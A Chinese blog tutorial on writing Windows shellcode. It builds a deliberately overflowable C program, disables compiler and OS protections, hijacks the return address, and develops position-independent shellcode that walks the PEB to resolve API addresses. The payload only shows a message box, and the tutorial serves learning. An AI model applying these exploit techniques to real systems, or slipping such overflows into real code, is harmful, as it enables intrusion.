shellcode入门(win)

重要的事情说下,搞windows安全一定要用win电脑实体机。我用的mac出现很多bug 好多函数地址获取不到。因此写shellcode 一定要注意平台
1。先写个有缓冲区溢出的代码

// ConsoleApplication1.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include<windows.h>
#define PASSWORD "allen"
int VerifyPassword(char *pszPassword, int nSize) {
    char szBuffer[50];
    memcpy(szBuffer, pszPassword, nSize);
    return strcmp(PASSWORD, szBuffer);
}
int _tmain(int argc, _TCHAR* argv[]) {
    int  nFlag = 0;
    char szPassword[0x200];
    FILE *fp;
    LoadLibraryA("user32.dll");
    if (NULL == (fp = fopen("password.txt", "rb"))) {
        MessageBoxA(NULL, "打开文件失败", "error", NULL);
        exit(0);
    }
    fread(szPassword, sizeof(szPassword), 1, fp);
    nFlag = VerifyPassword(szPassword, sizeof(szPassword));
    if (nFlag) printf("密码错误\n");
    else       printf("密码正确\n");
    fclose(fp);
    system("pause");
    return 0;
}
要关掉几个东西
1。禁用安全检查 (/GS-)
![](http://i2.51cto.com/images/blog/201806/04/96dbe0d026ab95e35d2f6cc1df2a5959.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
2。关掉随机基址与固定基址
![](http://i2.51cto.com/images/blog/201806/04/a121262ee1197272ab5e3d1f1cbc9da2.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
3。禁用内联函数
![](http://i2.51cto.com/images/blog/201806/04/f6bce8ddaceb83c682fcd8fe4088c87a.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
4关闭dep
![](http://i2.51cto.com/images/blog/201806/04/1eaed1d3a8c3a0872f6a7e97d06f1091.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)

这里很定有溢出
写一些好记的数字用于区分溢出地址
password.txt

A8A9B8B9C8C9D8D9E8E9F8F9G8G9H8H9I8I9J8J9K8K9L8L9N8N9M8M90000P8P9Q8Q9R8R9S8S9T8T9U8U9V8V9W8W9X8X9Y8Y9Z8Z9

三运行程序出现 溢出
shellcode入门(win)
但是要win10下有点恶心 要在日志里看溢出地址
1。打开控制面版 找到管理工具
shellcode入门(win)
打开 事件查看器
shellcode入门(win)
打开win日志
shellcode入门(win)
打开应用程序 找到相应的出错程序
shellcode入门(win)
shellcode入门(win)
shellcode入门(win)
在od中找到MessageBoxA地址放到那 后面填上20个0(4个参数加上一个返回值 为什么会有5个原因是有一个为返回值)
shellcode入门(win)
shellcode入门(win)
运行程序
shellcode入门(win)
现在开始用代码写个只能这本地运程的shellcode(相关 函数地址要自己在od里找然后写上)


#include <windows.h>
int main()
{
    LoadLibraryA("user32.dll");
    __asm {
        sub esp, 0x60;  //抬高栈帧
        jmp tag_Shellcode;      //前置代码,避免后面的数据被解释为指令
        //[tag_Next-0x1A] MessageBoxA Address
        _asm _emit(0xb0) _asm _emit(0xf8) _asm _emit(0x56) _asm _emit(0x76)
        //[tag_Next-0x16] ExitProcess Address
        _asm _emit(0xe0) _asm _emit(0x3b) _asm _emit(0xa7) _asm _emit(0x75)
        //[tag_Next-0x12] "Hello World!\0"
        _asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x6C)
        _asm _emit(0x6F) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6F)
        _asm _emit(0x72) _asm _emit(0x6C) _asm _emit(0x64) _asm _emit(0x21)
        _asm _emit(0x00)

        tag_Shellcode:
        call tag_Next;

        tag_Next:
        pop esi;                    // GetPC
        xor edx, edx;               // 将EDX清零
        lea edi, [esi - 0x12];      // 获取字符串地址
        mov eax, [esi - 0x1A];      // 获取MessageBoxA地址
        push edx;                   // /-uType
        push edi;                   // |-lpCaption
        push edi;                   // |-lpText
        push edx;                   // |-hWnd
        call eax;                   // MessageBoxA
        mov eax, [esi - 0x16];      // 获取ExitProcess地址
        push edx;                   // *-uExitCode
        call eax;                   // ExitProcess*/

    }
    return 0;
}

运行
shellcode入门(win)
现在用dbg 把opcode复制下来
sub esp, 0x60; 到call eax;
对应地址
shellcode入门(win)
shellcode入门(win)
shellcode入门(win)


#include <windows.h>

int main()
{
    LoadLibraryA("user32.dll");

    char bShellcode[] = { "\x83\xEC\x60\xEB\x15\xB0\xF8\x56\x76\xE0\x3B\xA7\x75\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\x00\xE8\x00\x00\x00\x00\x5E\x33\xD2\x8D\x7E\xEE\x8B\x46\xE6\x52\x57\x57\x52\xFF\xD0\x8B\x46\xEA\x52\xFF\xD0" };

    __asm {
        lea eax, bShellcode;
        push eax;
        ret
    }
    return 0;
}

运行

shellcode入门(win)
开始放入文件
shellcode入门(win)
找到它要复制的地址 (也就是eax的值 )
shellcode入门(win)
shellcode入门(win)
执行拷贝函数后 就出现了溢出把返回值改了
shellcode入门(win)
shellcode入门(win)
成功
shellcode入门(win)
这里也写了真正的shellcode

// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
int _tmain(int argc, _TCHAR* argv[])
{
    __asm {
        pushad;
        sub esp, 0x100;
        jmp tag_Shellcode;

        //[tag_Next-0x52] "GetProcAddress"
        _asm _emit(0x47) _asm _emit(0x65) _asm _emit(0x74) _asm _emit(0x50)
        _asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63) _asm _emit(0x41)
        _asm _emit(0x64) _asm _emit(0x64) _asm _emit(0x72) _asm _emit(0x65)
        _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)

        //[tag_Next-0x44] "LoadLibraryExA\0"
        _asm _emit(0x4c) _asm _emit(0x6f) _asm _emit(0x61) _asm _emit(0x64)
        _asm _emit(0x4c) _asm _emit(0x69) _asm _emit(0x62) _asm _emit(0x72)
        _asm _emit(0x61) _asm _emit(0x72) _asm _emit(0x79) _asm _emit(0x45)
        _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)

        //[tag_Next-0x35]  "User32.dll\0"
        _asm _emit(0x55) _asm _emit(0x73) _asm _emit(0x65) _asm _emit(0x72)
        _asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2e) _asm _emit(0x64)
        _asm _emit(0x6c) _asm _emit(0x6c) _asm _emit(0x00)

        //[tag_Next-0x2A]  "MessageBoxA\0"
        _asm _emit(0x4d) _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73)
        _asm _emit(0x61) _asm _emit(0x67) _asm _emit(0x65) _asm _emit(0x42)
        _asm _emit(0x6f) _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)

        //[tag_Next-0x1E]  "ExitProcess\0"
        _asm _emit(0x45) _asm _emit(0x78) _asm _emit(0x69) _asm _emit(0x74)
        _asm _emit(0x50) _asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63)
        _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)

        //[tag_Next-0x12]  "Hello World!\0"
        _asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6c) _asm _emit(0x6c)
        _asm _emit(0x6f) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6f)
        _asm _emit(0x72) _asm _emit(0x6c) _asm _emit(0x64) _asm _emit(0x21)
        _asm _emit(0x00)

        tag_Shellcode:
                     call tag_Next;
                 tag_Next:
                     pop ebx;
                     //获取关键模块基址
                     mov esi, dword ptr fs : [0x30];
                     mov esi, [esi + 0x0c];
                     mov esi, [esi + 0x1c];
                     mov esi, [esi];
                     mov edx, [esi + 0x08];

                     //获取GetProcAddress的函数地址
                     push ebx;
                     push edx;
                     call fun_GetProcAddress;
                     mov esi, eax;

                     //获取LoadLibraryExA的函数地址
                     push edx;
                     lea ecx, [ebx - 0x44];
                     push ecx;
                     push edx;
                     call eax;
                     pop edx;

                     //调用Payload部分
                     push ebx;
                     push esi;
                     push eax;
                     push edx;
                     call fun_Payload;

                 fun_GetProcAddress:
                     push ebp;
                     mov ebp, esp;
                     sub esp, 0x0c;
                     push edx;

                     //获取EAT、ENT和EOT的地址
                     mov edx, [ebp + 0x08];
                     mov esi, [edx + 0x3c];
                     lea esi, [edx + esi];
                     mov esi, [esi + 0x78];
                     lea esi, [edx + esi];
                     mov edi, [esi + 0x1c];
                     lea edi, [edx + edi];
                     mov[ebp - 0x04], edi;
                     mov edi, [esi + 0x20];
                     lea edi, [edx + edi];
                     mov[ebp - 0x08], edi;
                     mov edi, [esi + 0x24];
                     lea edi, [edx + edi];
                     mov[ebp - 0x0c], edi;

                     //循环对比ENT中的函数名
                     xor eax, eax;
                     jmp tag_FirstCmp;
                 tag_CmpFunNameLoop:
                     inc eax;
                 tag_FirstCmp:
                     mov esi, [ebp - 0x08];
                     mov esi, [esi + 4 * eax];
                     mov edx, [ebp + 0x08];
                     lea esi, [edx + esi];
                     mov ebx, [ebp + 0x0c];
                     lea edi, [ebx - 0x53];
                     mov ecx, 0x0e;
                     cld;
                     repe cmpsb;
                     jne tag_CmpFunNameLoop;

                     //成功后找到对应的序号
                     mov esi, [ebp - 0x0c];
                     xor edi, edi;
                     mov di, [esi + eax * 2];

                     //使用序号作为索引,找到函数名所对应的函数地址
                     mov edx, [ebp - 0x04];
                     mov esi, [edx + edi * 4];
                     mov edx, [ebp + 0x08];

                     //返回获取到的关键函数地址
                     lea eax, [edx + esi];
                     pop edx;
                     mov esp, ebp;
                     pop ebp;
                     retn 0x08;

                 fun_Payload:
                     push ebp;
                     mov ebp, esp;
                     sub esp, 0x08;
                     mov ebx, [ebp + 0x14];

                     //获取MessageBoxA的函数地址
                     lea ecx, [ebx - 0x35];
                     push 0;
                     push 0;
                     push ecx;
                     call[ebp + 0x0c];
                     lea ecx, [ebx - 0x2A];
                     push ecx;
                     push eax;
                     call[ebp + 0x10];
                     mov[ebp - 0x04], eax;

                     //获取ExitProcess的函数地址
                     lea ecx, [ebx - 0x1E];
                     push ecx;
                     push[ebp + 0x08];
                     call[ebp + 0x10];
                     mov[ebp - 0x08], eax;

                     //显示
                     lea ecx, [ebx - 0x12];
                     push 0;
                     push ecx;
                     push ecx;
                     push 0;
                     call[ebp - 0x04];
                     push 0;
                     call[ebp - 0x08];
                     mov esp, ebp;
                     pop ebp;
                     retn 0x10;
    }

    return 0;
}

猜你喜欢

转载自blog.51cto.com/haidragon/2124801
今日推荐